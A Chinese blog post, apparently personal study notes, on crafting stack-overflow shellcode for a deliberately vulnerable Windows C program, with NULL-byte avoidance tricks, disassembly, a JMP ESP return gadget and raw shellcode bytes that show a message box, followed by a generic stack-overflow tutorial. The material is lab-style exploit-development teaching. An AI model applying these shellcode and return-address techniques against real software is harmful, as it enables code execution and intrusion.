栈溢出shellcode字符串push

本文介绍了一种特殊的字符串注入技巧,通过使用不同的汇编指令来绕过NULL字节限制,实现复杂字符串的有效注入。包括字符串的拆分、组合及特殊字符处理等方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

这是很久以前的笔记了  去年的笔记···········

这里增加几条:

1)  PUSH  字符串, 先用其他字符代表0x00  然后 通过 EBP的负偏离量处一字节一字节的写入!!!!!!!!!!

重新产生没有 NULL字节的 机器码

2) XOR/add /sub  计算  比如 0x006e616c  那么     0x77191693 xor 0x777777ff = 0x006e616c    直接压入 进行xor

mov eax,0x77191693 

mov ebx,0x777777ff

xor eax,ebx

push eax 

3)直接压入字符串 然后单字节压入 

xor eax,eax, 

push eax,           

mov ebp,esp

mov byte [ebp-2] ,61

4) 对于  像  0x000000AB   的字符的话    用  

mov eax,0xXXXXX   

push eax

5)直接用  0x20 空格代替 结束符,一般情况下可以用的



00401110      33C0          xor eax,eax
00401112      8BEC          mov ebp,esp
00401114      68 61202020   push 0x20202061
00401119      8845 FD       mov byte ptr ss:[ebp-0x3],al
0040111C      68 70616E64   push 0x646E6170
00401121      8BDC          mov ebx,esp
00401123      50            push eax
00401124      68 B3F6C1CB   push 0xCBC1F6B3
00401129      68 BEADD2E7   push 0xE7D2ADBE
0040112E      68 6120D2D1   push 0xD1D22061
00401133      68 70616E64   push 0x646E6170
00401138      68 B1A8B8E6   push 0xE6B8A8B1
0040113D      8BCC          mov ecx,esp
0040113F      50            push eax
00401140      53            push ebx
00401141      51            push ecx
00401142      50            push eax
00401143      E8 A2F69477   call USER32.MessageBoxA

可以看到我们已经可以构造  不是标准 4字节的字符串了,而且可以再也不用烦恼 bad character!!!!!!!!!




以下分析有错   在JMP EBX  中  运行shellcode运行时会修改shellcode 所以最好都不知道变什么样了  但是PUSH 字符串分析是正确的

因为压栈会破坏数据


想要插入字符串  必须从后往前插入 如果大于4字节  并且保证最后为4字节再例如:

0013FAF0    33DB                               xor ebx,ebx
0013FAF2    53                                 push ebx
0013FAF3    6A 61                              push 0x61
0013FAF5    68 50616E64                        push 0x646E6150
0013FAFA    68 20627920                        push 0x20796220
0013FAFF    68 30646179                        push 0x79616430
0013FB04    8BC4                               mov eax,esp

原因是 push 后有结束符吧
以上是最难得地方;


这里是源码:

#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
	int authenticated;
	char buffer[44];
	authenticated=strcmp(password,PASSWORD);
	strcpy(buffer,password);//over flowed here!	
	return authenticated;
}
main()
{
	int valid_flag=0;
	char password[1024];
	FILE * fp;
	LoadLibrary("user32.dll");//prepare for messagebox
	if(!(fp=fopen("password.txt","rw+")))
	{
		exit(0);
	}
	fscanf(fp,"%s",password);
	valid_flag = verify_password(password);
	if(valid_flag)
	{
		printf("incorrect password!\n");
	}
	else
	{
		printf("Congratulation! You have passed the verification!\n");
	}
	fclose(fp);
}

写了个程序  可以倒叙输出字符串  方便压栈





以下为正确的:

JMP ESP   堆栈很安全  几乎没被修改:

77D91E64  - FFE4            jmp esp
在返回地址处 修改为上面这个

0013FB28    33DB            xor ebx,ebx
0013FB2A    53              push ebx
0013FB2B    6A 61           push 0x61
0013FB2D    68 50616E64     push 0x646E6150
0013FB32    8BC4            mov eax,esp
0013FB34    53              push ebx
0013FB35    50              push eax
0013FB36    50              push eax
0013FB37    53              push ebx
0013FB38    B8 EA07D577     mov eax,user32.MessageBoxA
0013FB3D    FFD0            call eax
0013FB3F    B8 FACA817C     mov eax,kernel32.ExitProcess
0013FB44    FFD0            call eax

二进制位:

33 DB 53 6A 61 68 50 61 6E 64 8B C4 53 50 50 53 B8 EA 07 D5 77 FF D0 B8 FA CA 81 7C FF D0

安全弹框  安全退出













### PWN入门教程:基本栈溢出原理与实例分析 #### 栈溢出的基本概念 栈溢出是一种常见的内存安全漏洞,通常发生在程序试图向栈中写入的数据量超过了分配给该变量的空间时。这种行为可能导致覆盖相邻的内存区域,从而改变程序的行为甚至执行恶意代码[^1]。 #### C语言中的函数调用栈 在C语言中,每当一个函数被调用时,都会创建一个新的栈帧(stack frame),用于存储局部变量、返回地址和其他必要的信息。当发生栈溢出时,攻击者可以利用这一特性修改返回地址,使程序跳转至攻击者指定的位置并执行预定义的指令序列[^2]。 #### 栈的工作机制 栈作为一种后进先出的数据结构,在计算机科学中有广泛的应用场景。对于栈溢出的理解而言,掌握其核心操作——压栈(push)和弹栈(pop)尤为重要。这些操作均作用于栈顶位置,而栈本身还存在固定的栈底边界[^3]。 以下是简单的栈溢出示例代码及其对应的汇编逻辑: ```c #include <stdio.h> #include <string.h> void vulnerable_function(char *str) { char buffer[8]; strcpy(buffer, str); // 存在缓冲区溢出风险 } int main(int argc, char **argv) { if (argc > 1) vulnerable_function(argv[1]); return 0; } ``` 上述代码片段展示了如何因不当使用 `strcpy` 函数而导致潜在的安全隐患。如果输入字符串长度超过数组 `buffer` 的大小,则会发生越界写入现象,进而可能破坏堆栈上的其他重要数据项,比如保存的返回指针值。 为了验证此过程的具体表现形式,可以通过调试工具逐步跟踪每一步骤下的寄存器状态变化情况以及相应内存布局调整状况;同时观察到一旦超出预定界限范围之后便会对后续部分造成不可控的影响效果。 --- #### 实际案例解析 假设目标二进制文件未启用任何防护措施(如NX bit 或 ASLR)。那么基于前面提到过的理论依据,我们可以尝试构造特定格式的有效载荷注入shellcode实现远程命令交互功能。 具体步骤如下: 1. 寻找合适的偏移点以定位覆盖原有ret addr; 2. 替换为目标机器码地址指向自定义脚本启动入口处; 3. 成功触发后即获得对应权限等级下运行环境控制权。 需要注意的是现代操作系统普遍引入多种防御手段来对抗此类威胁因此实际应用过程中还需考虑更多因素才能达成最终目的。 --- ### 结论 通过对以上内容的学习能够初步认识什么是pwn挑战赛项目的常见考点之一—Stack Buffer Overflow,并学会识别相关危险信号以便采取适当预防策略减少遭受网络攻击的可能性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值